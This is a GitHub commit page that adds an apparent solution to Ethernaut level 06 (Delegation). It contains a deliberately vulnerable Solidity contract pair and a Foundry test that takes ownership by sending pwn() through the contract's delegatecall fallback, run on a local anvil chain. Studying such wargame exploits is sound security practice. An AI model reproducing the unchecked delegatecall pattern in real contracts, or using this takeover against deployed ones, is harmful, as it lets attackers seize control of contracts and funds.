-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0xHUANG
authored and
0xHUANG
committed
Jan 11, 2025
1 parent
646dc27
commit 4647596
Showing
8 changed files
with
86 additions
and
5 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -9,7 +9,7 @@ Author: @BoscoHuang | |
Process: | ||
- Install openzeppelin-contracts: forge install OpenZeppelin/[email protected] | ||
- Deploy Fallout contract in anvil: | ||
1. anvil | ||
0. anvil | ||
1. forge create src/02_Fallout.sol:Fallout --rpc-url http://127.0.0.1:8545 --private-key 0x.... | ||
*/ | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,41 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
/* | ||
Author: @BoscoHuang | ||
Process: | ||
- Deploy Token contract in anvil: | ||
0. anvil | ||
1. forge create src/06_Delegation.sol:Delegate --rpc-url http://127.0.0.1:8545 --private-key 0x.... --constructor-args 0x | ||
2. forge create src/06_Delegation.sol:Delegation --rpc-url http://127.0.0.1:8545 --private-key 0x.... --constructor-args 0x.... | ||
*/ | ||
|
||
contract Delegate { | ||
address public owner; | ||
|
||
constructor(address _owner) { | ||
owner = _owner; | ||
} | ||
|
||
function pwn() public { | ||
owner = msg.sender; | ||
} | ||
} | ||
|
||
contract Delegation { | ||
address public owner; | ||
Delegate delegate; | ||
|
||
constructor(address _delegateAddress) { | ||
delegate = Delegate(_delegateAddress); | ||
owner = msg.sender; | ||
} | ||
|
||
fallback() external { | ||
(bool result,) = address(delegate).delegatecall(msg.data); | ||
if (result) { | ||
this; | ||
} | ||
} | ||
} |
File renamed without changes.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,40 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
import "ds-test/test.sol"; | ||
import "forge-std/Test.sol"; | ||
import "../src/06_Delegation.sol"; | ||
|
||
/* | ||
Author: @BoscoHuang | ||
Attack Process: | ||
- The `fallback` function is used to delegate the call to the `Delegate` contract. | ||
- The `Delegate` contract has a `pwn` function that sets the owner to the caller. | ||
- The `fallback` function is called when the `Delegate` contract does not have a function that matches the function signature of the caller. | ||
Command: | ||
- forge test --match-contract DelegationTest --fork-url http://127.0.0.1:8545 -vvv | ||
*/ | ||
|
||
|
||
contract DelegationTest is Test { | ||
Delegation Ethernaut06; | ||
|
||
function setUp() public { | ||
Ethernaut06 = Delegation(payable(0x8464135c8F25Da09e49BC8782676a84730C318bC)); // Delegation contract address in anvil | ||
} | ||
|
||
function testEthernaut06() public { | ||
console.log("Owner before:", Ethernaut06.owner()); | ||
|
||
(bool success, ) = address(Ethernaut06).call(abi.encodeWithSignature("pwn()")); | ||
require(success, "pwn failed"); | ||
|
||
assert(address(this) == Ethernaut06.owner()); // Attacker becomes the owner | ||
|
||
console.log("address(this):", address(this)); | ||
|
||
console.log("Owner after:", Ethernaut06.owner()); | ||
} | ||
} |